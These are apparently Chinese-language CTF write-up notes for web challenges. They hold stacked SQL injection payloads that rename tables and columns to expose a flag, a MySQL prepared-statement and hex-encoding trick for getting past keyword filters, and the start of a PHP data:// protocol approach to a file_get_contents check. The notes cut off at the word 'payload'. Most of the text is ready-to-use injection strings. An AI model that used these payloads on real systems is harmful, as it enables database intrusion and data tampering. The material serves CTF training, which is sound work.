1';alter table words rename to words1;alter table `1919810931114514` rename towords;alter table words change flag id varchar(50);# #就是猜测原本的sql语句的意思,然后在爆出库名表名列名的基础上,将目标表名列名改成select子句的数据,比如原本的select子句是'select id from words',那我在使用上述sql语句后,在返回登录框使用万能密码便可以直接爆出flag。
1';PREPARE hacker fromconcat('s','elect', ' * from \`1919810931114514\` ');EXECUTE hacker;#
1 2
也可以将select * from \`1919810931114514\`语句进行16进制编码,即:0x73656c656374202a2066726f6d2060313931393831303933313131343531346 1';PREPARE ck from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE ck;#
堆叠注入+Mysql预处理
利用 MySql 预处理 使用条件:HANDLER 也被过滤了。 在遇到堆叠注入时,如果 select、rename、alter 和 handler 等语句都被过滤的话,我们可以用 MySql 预处理语句配合 concat 拼接来执行 sql 语句拿 flag。
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
file_get_contents ($text,’r’) 是读取文件的内容,说明我们首先要上传一个文件,并且它的内容还得是”welcome to the zjctf”,我们考虑用 data 协议,data 协议通常是用来执行 PHP 代码,然而我们也可以将内容写入 data 协议中的逗号后面然后让 file_get_contents 函数取读取。 payload